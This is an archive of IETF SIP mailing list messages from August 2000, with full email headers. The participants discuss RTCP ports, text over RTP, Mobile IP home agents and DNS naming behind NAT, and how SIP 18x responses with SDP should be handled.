http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 11:27:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA02793 for ; Mon, 21 Aug 2000 11:27:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6F0D74437E; Mon, 21 Aug 2000 11:27:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-215.dallas.net [209.44.42.215]) by lists.bell-labs.com (Postfix) with ESMTP id 59B3D44336 for ; Mon, 21 Aug 2000 11:27:32 -0400 (EDT) Received: (from brian@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id KAA17798; Mon, 21 Aug 2000 10:26:58 -0500 Date: Mon, 21 Aug 2000 10:26:57 -0500 From: "Brian F. G. Bidulock" To: Meir Fuchs Cc: sip , Jonathan Rosenberg Subject: Re: [SIP] send only media streams Message-ID: <20000821102656.D3970@dallas.net> Reply-To: bidulock@dallas.net Mail-Followup-To: Meir Fuchs , sip , Jonathan Rosenberg References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from Meir@tlv.radvision.com on Mon, Aug 21, 2000 at 06:17:11PM +0300 Organization: Brian F. G. Bidulock, P. Eng. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Meir, Last I checked the RTCP had to be one greater than the RTP port to which it corresponded. --Brian Meir Fuchs wrote: (Mon, 21 Aug 2000 18:17:11) > Hi, > > What about a RTCP ? Shouldn't the terminals sending the media on > send-only/recv-only streams pass a non-zero port on which they can receive > RTCP traffic ? > > Meir. > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 11:35:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03072 for ; Mon, 21 Aug 2000 11:35:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6ADF844393; Mon, 21 Aug 2000 11:34:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 2717A44336 for ; Mon, 21 Aug 2000 11:13:24 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA03377; Mon, 21 Aug 2000 11:13:20 -0400 (EDT) Message-ID: <39A14710.3A81761B@cs.columbia.edu> Date: Mon, 21 Aug 2000 11:13:20 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: rahul pande , sip@lists.bell-labs.com Subject: Re: [SIP] Instant Messaging.... References: <399CCA56.F0852420@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > You could do this kind of thing today with the text over RTP > specification. > > Anyway, this is really a different service than IM. Namely: > > 1. its a streaming text service; data is sent character at a time rather > than in groups of messages Not necessarily; RFC 2793 allows to send whole blocks of text, so a "line mode" could be supported either way. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 13:29:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA05101 for ; Mon, 21 Aug 2000 13:29:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2590F4436B; Mon, 21 Aug 2000 13:28:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id C9AB24434D for ; Mon, 21 Aug 2000 13:28:25 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id KAA20006; Mon, 21 Aug 2000 10:28:40 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA23235; Mon, 21 Aug 2000 10:28:21 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14753.26293.304545.813580@thomasm-u1.cisco.com> Date: Mon, 21 Aug 2000 10:28:21 -0700 (PDT) To: "Ashutosh Dutta" Cc: Michael Thomas , Jean-Hugues ROBERT , Jonathan Rosenberg , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? In-Reply-To: <85256941.007922B1.00@notes949.cc.telcordia.com> References: <85256941.007922B1.00@notes949.cc.telcordia.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Ashutosh Dutta writes: > > > Hi, > IP mobility solution would probably work fine for intra-domain case > with fast hand-off mechanism, some of which have been proposed recently. But > for Interdomain case we still need a better solution than just plain IP > mobility approach for reducing the loss (if we care about it) when the IP > address changes on the wireless handset. We may have a need to adopt a hybrid > approach in that case. Why would you ever want to change the home IP address at all? If you believe in mobility, then you obtain new COA's and the problem reduces to a (solvable) AAA problem. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 13:39:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA05352 for ; Mon, 21 Aug 2000 13:39:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8D8754437E; Mon, 21 Aug 2000 13:38:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id AF3D44434D for ; Mon, 21 Aug 2000 13:34:04 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA13581; Mon, 21 Aug 2000 13:33:46 -0400 (EDT) Message-ID: <39A167FA.1421F31E@cs.columbia.edu> Date: Mon, 21 Aug 2000 13:33:46 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Michael Thomas Cc: Ashutosh Dutta , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <85256941.007922B1.00@notes949.cc.telcordia.com> <14753.26293.304545.813580@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michael Thomas wrote: > > Ashutosh Dutta writes: > > > > > > Hi, > > IP mobility solution would probably work fine for intra-domain case > > with fast hand-off mechanism, some of which have been proposed recently. But > > for Interdomain case we still need a better solution than just plain IP > > mobility approach for reducing the loss (if we care about it) when the IP > > address changes on the wireless handset. We may have a need to adopt a hybrid > > approach in that case. > > Why would you ever want to change the home IP > address at all? If you believe in mobility, > then you obtain new COA's and the problem > reduces to a (solvable) AAA problem. This assumes, of course, that you can get a generally accessible IP address where you can install a HA. If you're behind a firewall at "home" and don't have the support of the local sysadmin, this is non-trivial. The lack of deployment of mobile IPv4 seems to attest to this difficulty. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 13:57:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA05638 for ; Mon, 21 Aug 2000 13:57:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9DD8644382; Mon, 21 Aug 2000 13:57:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 56AC94436B for ; Mon, 21 Aug 2000 13:57:16 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id KAA22649; Mon, 21 Aug 2000 10:57:30 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA23244; Mon, 21 Aug 2000 10:57:12 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14753.28024.793372.847567@thomasm-u1.cisco.com> Date: Mon, 21 Aug 2000 10:57:12 -0700 (PDT) To: Henning Schulzrinne Cc: Michael Thomas , Ashutosh Dutta , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? In-Reply-To: <39A167FA.1421F31E@cs.columbia.edu> References: <85256941.007922B1.00@notes949.cc.telcordia.com> <14753.26293.304545.813580@thomasm-u1.cisco.com> <39A167FA.1421F31E@cs.columbia.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne writes: > Michael Thomas wrote: > > > > Ashutosh Dutta writes: > > > > > > > > > Hi, > > > IP mobility solution would probably work fine for intra-domain case > > > with fast hand-off mechanism, some of which have been proposed recently. But > > > for Interdomain case we still need a better solution than just plain IP > > > mobility approach for reducing the loss (if we care about it) when the IP > > > address changes on the wireless handset. We may have a need to adopt a hybrid > > > approach in that case. > > > > Why would you ever want to change the home IP > > address at all? If you believe in mobility, > > then you obtain new COA's and the problem > > reduces to a (solvable) AAA problem. > > This assumes, of course, that you can get a generally accessible IP > address where you can install a HA. If you're behind a firewall at > "home" and don't have the support of the local sysadmin, this is > non-trivial. The lack of deployment of mobile IPv4 seems to attest to > this difficulty. This assumes that the HA is always at "home". Also: I'm not sure how you're naming your UA behind the NAT/firewall without the help of some sysadmin type person. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 14:21:22 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA06231 for ; Mon, 21 Aug 2000 14:21:22 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9907044370; Mon, 21 Aug 2000 14:20:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 515074436B for ; Mon, 21 Aug 2000 14:06:54 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA15272; Mon, 21 Aug 2000 14:06:43 -0400 (EDT) Message-ID: <39A16FB3.9B9C364D@cs.columbia.edu> Date: Mon, 21 Aug 2000 14:06:43 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Michael Thomas Cc: Ashutosh Dutta , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <85256941.007922B1.00@notes949.cc.telcordia.com> <14753.26293.304545.813580@thomasm-u1.cisco.com> <39A167FA.1421F31E@cs.columbia.edu> <14753.28024.793372.847567@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michael Thomas wrote: > > > This assumes that the HA is always at "home". No, but it has to be somewhere where the network is willing to give me a permanent IP address. I'm not aware of such a service, although it would be quite useful. > > Also: I'm not sure how you're naming your UA > behind the NAT/firewall without the help of > some sysadmin type person. Not really. I can imagine using a permanent address of the hotmail/yahoo/etc. variety without any sysadmin help and without fees. There is no shortage of user or domain names. I could run such a service on my DSL line at home, with one IP address. > > Mike -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 14:38:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA06644 for ; Mon, 21 Aug 2000 14:38:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 85306443A4; Mon, 21 Aug 2000 14:38:47 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id C4B1444382 for ; Mon, 21 Aug 2000 14:38:43 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id LAA20257; Mon, 21 Aug 2000 11:38:58 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA23248; Mon, 21 Aug 2000 11:38:40 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14753.30511.971149.855931@thomasm-u1.cisco.com> Date: Mon, 21 Aug 2000 11:38:39 -0700 (PDT) To: Henning Schulzrinne Cc: Michael Thomas , Ashutosh Dutta , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? In-Reply-To: <39A16FB3.9B9C364D@cs.columbia.edu> References: <85256941.007922B1.00@notes949.cc.telcordia.com> <14753.26293.304545.813580@thomasm-u1.cisco.com> <39A167FA.1421F31E@cs.columbia.edu> <14753.28024.793372.847567@thomasm-u1.cisco.com> <39A16FB3.9B9C364D@cs.columbia.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne writes: > Michael Thomas wrote: > > This assumes that the HA is always at "home". > > No, but it has to be somewhere where the network is willing to give me a > permanent IP address. I'm not aware of such a service, although it would > be quite useful. For every problem there is an equal and opposite opportunity. :-) I personally think there is a good deal of motivation for wireless things to not have their HA on the same subnet as their real home subnet. The main reason is that a dog-leg through a comparatively slow access (cable, DSL, etc) that almost certainly wants you to pay for QoS bits doesn't sound like a very ideal situation to me. It would be a lot cleaner to put the HA in the middle of a diffserv cloud and be done with it. > > Also: I'm not sure how you're naming your UA > > behind the NAT/firewall without the help of > > some sysadmin type person. > > Not really. I can imagine using a permanent address of the > hotmail/yahoo/etc. variety without any sysadmin help and without fees. > There is no shortage of user or domain names. I could run such a service > on my DSL line at home, with one IP address. What bound the A record to your domain name? Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 14:58:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07086 for ; Mon, 21 Aug 2000 14:58:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C9C59443C1; Mon, 21 Aug 2000 14:57:41 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id DC3BA443AE for ; Mon, 21 Aug 2000 14:57:37 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id LAA06178; Mon, 21 Aug 2000 11:57:45 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA23254; Mon, 21 Aug 2000 11:57:21 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14753.31633.343706.239600@thomasm-u1.cisco.com> Date: Mon, 21 Aug 2000 11:57:21 -0700 (PDT) To: Henning Schulzrinne Cc: Michael Thomas , Ashutosh Dutta , "Arnoud van Wijk (ETM)" , "'SIP'" Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? In-Reply-To: <39A17842.C90861EC@cs.columbia.edu> References: <85256941.007922B1.00@notes949.cc.telcordia.com> <14753.26293.304545.813580@thomasm-u1.cisco.com> <39A167FA.1421F31E@cs.columbia.edu> <14753.28024.793372.847567@thomasm-u1.cisco.com> <39A16FB3.9B9C364D@cs.columbia.edu> <14753.30511.971149.855931@thomasm-u1.cisco.com> <39A17842.C90861EC@cs.columbia.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne writes: > Michael Thomas wrote: > > > > Henning Schulzrinne writes: > > > Michael Thomas wrote: > > > > This assumes that the HA is always at "home". > > > > > > No, but it has to be somewhere where the network is willing to give me a > > > permanent IP address. I'm not aware of such a service, although it would > > > be quite useful. > > > > > > > What bound the A record to your domain name? > > Network Solutions, register.com or any of its competitors that offer DNS > 'hosting' for a few bucks a year. It's hard to determine who is being more obtuse here, but it appears to me that we've come full circle to there not being any reason to change your home IP addresses when roaming. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 15:08:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA07268 for ; Mon, 21 Aug 2000 15:08:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1C019443CC; Mon, 21 Aug 2000 15:08:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id 6C97C44382 for ; Mon, 21 Aug 2000 15:08:01 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id PAA53227; Mon, 21 Aug 2000 15:07:42 -0400 (EDT) Message-ID: <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> From: "Brett Tate" To: , References: Subject: Re: [SIP] Remote ringback. Date: Mon, 21 Aug 2000 15:11:57 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit ----- Original Message ----- From: To: ; ; Sent: Monday, August 21, 2000 11:16 AM Subject: RE: [SIP] Remote ringback. > > > -----Original Message----- > > From: EXT Brett Tate [mailto:brett@broadsoft.com] > > Sent: Thursday, August 17, 2000 1:19 PM > > To: Fairlie-Cuninghame, Robert; sip@lists.bell-labs.com > > Subject: Re: [SIP] Remote ringback. > > > > [ . . . ] > > > > If A receives 18x with SDP from B, can/should A start sending to B? I > > assume no for 180 and yes for 181, 182 and 183 but I have not found it > > explicitly stated anywhere. > > Am I reading this wrong? Surely any 18x with SDP from B to A means that B > will be sending one-way audio and A cannot send audio to B??? I agree if B uses 0.0.0.0 as a connection address. However if B uses a valid connection address, I have not explicitly seen in rfc2543 how A should handle it. I think that there is a potential concerning a 182 for A to pass inband DTMF to move up in the queue. I also foresee the same sort of DTMF possibility concerning a 181. It could be used concerning calling-verses-forwarding billing acceptance, to pick a forwarding location, or to allow an attempt to bypass the forwarding. I also foresee using the same sort of DTMF possibilities with a 183. The user could select various options relating to the "special announcement". I agree that the thought of two way media being established before 200/ACK seems strange. But I think that one way media is just as strange though useful from a PSTN perspective. > > > > > There were some test cases that I was hoping to test at the > > bakeoff, but > > didn't get the chance. Text relating to the test cases may > > be useful in the > > rfc. > > > > - A invites B. B replies 180 with SDP. B then replies 180 > > without SDP. > > Expected result: A should start providing local ringback. > > > > I would disagree with this for a few reasons: > 1. In the case of PSTN interoperability, once the remote end starts sending > one-way audio, the remote end has to continue sending one-way audio until > the call is either answered or disconnected. (E.g., in ISDN, a PROGRESS with > no indicator for cut-through audio doesn't mean the far end has stopped > sending cut-through audio.) It does if the proxy CANCEL B that provided remote media, and proxy INVITE C which does not provide remote media. > 2. Certainly in the case of 183, there may be attachments other than an SDP > attachment, so receiving no SDP should not mean "stop receiving audio", and > it would not be good if the interpretation of attachments were different for > 180 than for 183. > 3. Unless PRACKs are being used, A doesn't know whether the 180's have been > received out of order. (Which isn't really much of an objection, given that > B may send a new 180 with a different codec, but still, B should be required > to explicitly state that there is no more audio; see next point.) I completely agree the PRACKs are the means to help ensure order. However if PRACK is not used, only reception order or Date can be used. > 4. In an INVITE, the absence of an SDP attachment doesn't mean "create a > session with no media". So if B wants to stop sending cut-through audio, it > should send a 180 with an SDP attachment without an "m=" line. Then the SDP > attachments in the 180 and the INVITE would work the same way. (And it would > still be possible for B to tell A to start providing local ringback, despite > the rather weak first point.) This is one way to do it; I'm not sure if it is the best way. However my main point is to hopefully get rfc2543 to clearly state what 18x means when used in a variety of test flows. I think that a 180 without SDP could/should be used for clarity from a normal 180 with/without SDP perspective. However if the working group wants to do some sort of media alignment, connection address, media port means to resolve the issue, I won't protest. Just seeking clarity and resolution. -Brett > > > - A invites B with multiple codecs. B replies 180 SDP with > > codec 0; then B > > replies 180 SDP with codec 2. Expected result: A should stop > > using codec 0 > > and start using codec 2. > > > > Agree. > > > - A invites B. A forking proxy was involved. A forking > > proxy returned two > > 18x with SDP and different "TO" tags. Should the received > > media be mixed? > > I assume no until maybe after having received a 200 on one > > of the legs. > > > > > > [ . . . ] > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 15:29:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA07609 for ; Mon, 21 Aug 2000 15:29:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5649A443D0; Mon, 21 Aug 2000 15:29:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dnsmx1pya.telcordia.com (dnsmx1pya.telcordia.com [128.96.20.31]) by lists.bell-labs.com (Postfix) with ESMTP id 8CEEC44370 for ; Mon, 21 Aug 2000 15:29:14 -0400 (EDT) Received: from notes949.cc.telcordia.com (notes949a.cc.telcordia.com [128.96.246.8]) by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with SMTP id PAA02027; Mon, 21 Aug 2000 15:24:46 -0400 (EDT) Received: by notes949.cc.telcordia.com(Lotus SMTP MTA v4.6.4 (830.2 3-23-1999)) id 85256942.006A9D98 ; Mon, 21 Aug 2000 15:24:31 -0400 X-Lotus-FromDomain: TELCORDIA From: "Ashutosh Dutta" To: Michael Thomas Cc: Henning Schulzrinne , Michael Thomas , "Arnoud van Wijk (ETM)" , "'SIP'" Message-ID: <85256942.006A9CF7.00@notes949.cc.telcordia.com> Date: Mon, 21 Aug 2000 15:23:37 -0400 Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Or better use dynamic home agent as often proposed and dynamic DNS ( as described in HMMP and a recent host mobility paper in Mobicom 2000) may help if the home agent is still in the home subnet, but still do not know how reverse lookup for A record in different domain with different SOA would work for a foreign IP address in that case. Thanks Ashutosh Michael Thomas on 08/21/2000 02:38:39 PM To: Henning Schulzrinne cc: Michael Thomas , Ashutosh Dutta , "Arnoud van Wijk (ETM)" , "'SIP'" (bcc: Ashutosh Dutta/Telcordia) Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Henning Schulzrinne writes: > Michael Thomas wrote: > > This assumes that the HA is always at "home". > > No, but it has to be somewhere where the network is willing to give me a > permanent IP address. I'm not aware of such a service, although it would > be quite useful. For every problem there is an equal and opposite opportunity. :-) I personally think there is a good deal of motivation for wireless things to not have their HA on the same subnet as their real home subnet. The main reason is that a dog-leg through a comparatively slow access (cable, DSL, etc) that almost certainly wants you to pay for QoS bits doesn't sound like a very ideal situation to me. It would be a lot cleaner to put the HA in the middle of a diffserv cloud and be done with it. > > Also: I'm not sure how you're naming your UA > > behind the NAT/firewall without the help of > > some sysadmin type person. > > Not really. I can imagine using a permanent address of the > hotmail/yahoo/etc. variety without any sysadmin help and without fees. > There is no shortage of user or domain names. I could run such a service > on my DSL line at home, with one IP address. What bound the A record to your domain name? Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 